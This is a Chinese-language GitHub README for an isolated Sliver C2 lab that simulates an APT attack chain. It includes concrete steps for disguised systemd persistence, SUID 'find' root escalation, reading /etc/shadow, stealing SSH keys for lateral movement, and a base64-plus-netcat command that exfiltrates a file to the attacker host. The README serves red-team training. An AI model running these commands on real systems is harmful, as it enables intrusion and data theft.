pranmoydev/sliver-attack-simulation-lab
GitHub: pranmoydev/sliver-attack-simulation-lab
一个基于 Sliver C2 的隔离 APT 攻击链模拟实验室,覆盖完整攻击路径并附带 MITRE 映射与 IOCs。
Stars: 1 | Forks: 0
# 🚀 Sliver C2 APT 模拟实验室
**在隔离实验室环境中模拟真实高级持续性威胁(APT)攻击链的多阶段红队演练——从初始访问到数据外泄,不使用商业 C2 框架。**
[](LICENSE)
[](https://github.com/BishopFox/sliver)

## 🎯 目标
在隔离实验室环境中使用开源工具模拟完整的 APT 生命周期——从初始访问到数据外泄——而不依赖商业 C2 框架。
## 📊 攻击链概览
| 阶段 | 战术 | 技术 | 结果 |
|------|------|------|------|
| 1 | 初始访问 | 通过 SCP 的 Sliver mTLS 植入 | ✅ 建立 C2 会话 |
| 2 | 持久化 + 提权 | Systemd 服务 + SUID 滥用(find) | ✅ 获取 root 并实现重启持久化 |
| 3 | 横向移动 | SSH 私钥窃取 → 跳转 | ✅ 同时建立 2 个会话 |
| 4 | 数据外泄 | Base64 + netcat(尝试 DNS 隧道) | ✅ 在攻击者端恢复文件 |
## 网络拓扑图

## 🖼️ 关键证据(截图)
| 阶段 | 截图 |
|------|------|
| 阶段 1 | [Sliver 会话建立](screenshots/Screenshot_sliver_active_session.png) |
| 阶段 2 | [通过 SUID 提权获得 root 权限](screenshots/Screenshot_root_access.png.png) |
| 阶段 3 | [横向移动后两个活跃会话](screenshots/Screenshot_lateral_movement.png.png) |
| 阶段 4 | [在 Kali 上解码外泄文件](screenshots/Screenshot_data_exfiltration.png) |
## 🏗️ 实验室环境
| 组件 | 说明 |
|------|------|
| 攻击者 | Kali Linux(192.168.59.11) |
| 受害者 1 | Ubuntu 22.04(192.168.59.12) |
| 受害者 2 | Ubuntu 22.04(192.168.59.13) |
| 网络 | VirtualBox 仅主机模式 + NAT |
| C2 框架 | Sliver(mTLS) |
## 🔄 完整攻击演练
## ⚠️ 免责声明
本实验室在隔离的 VirtualBox 环境中进行,未连接任何生产网络。所有展示技术仅用于教育目的和授权安全测试。
## 📁 完整文档
- 详细阶段演练
- 完整的 MITRE ATT&CK 映射
- 潜在入侵指标(IOCs)
## 📧 联系
[Pranmoy] — [https://www.linkedin.com/in/pranmoy-patar-b99a142b3/]
点击展开 — 阶段 1:初始访问
1. 以 systemd 服务方式启动 Sliver C2 2. 配置 8888 端口的 mTLS 监听器 3. 生成 Linux ELF 植入体(`UPSET_BIBLIOGRAPHY`) 4. 通过 SCP 传送到 `/tmp/updater` 5. 执行植入体 → 建立回调 点击展开 — 阶段 2:持久化与提权
- 将植入体移动到 `/usr/local/bin/.sysupdate`(伪装时间戳) - 创建 `sysupdate.service` systemd 单元 - 确认重启后持久化生效 - 枚举 SUID 二进制文件 → 发现 `/usr/bin/find` - 利用方式:`find . -exec /bin/sh -p \; -quit` - ✅ 获得 root 权限,读取 `/etc/shadow` 点击展开 — 阶段 3:横向移动
- 从 root 终端发现到 192.168.59.13 的 SSH 信任关系 - 通过 Sliver 下载 `id_rsa`:`download /home/victim/.ssh/id_rsa` - 使用窃取密钥:`ssh -i stolen_key.pem victim@192.168.59.13` - 在 Ubuntu 2 上部署 Sliver 植入体 - ✅ 在 Sliver 控制台中建立两个活跃会话 点击展开 — 阶段 4:数据外泄
**尝试:** DNS 隧道(dnscat2)——因 Ruby 兼容性问题失败 **改用:** Base64 + netcat # 攻击者监听端 nc -lvnp 9999 # 受害者(通过 Sliver shell) cat /home/victim/confidential.txt | base64 | nc 192.168.59.11 9999 标签:APT仿真, CISA项目, Cloudflare, DNS隧道, IOC, MITRE ATT&CK, MTLS, PE 加载器, Sliver C2, SSH密钥窃取, SUID滥用, systemd, Ubuntu 22.04, 协议分析, 开源渗透测试, 攻击链, 数据外渗, 权限提升, 检测与响应, 横向移动, 漏洞修复, 编程规范, 网络安全培训, 网络隐蔽, 虚拟化实验室, 防御绕过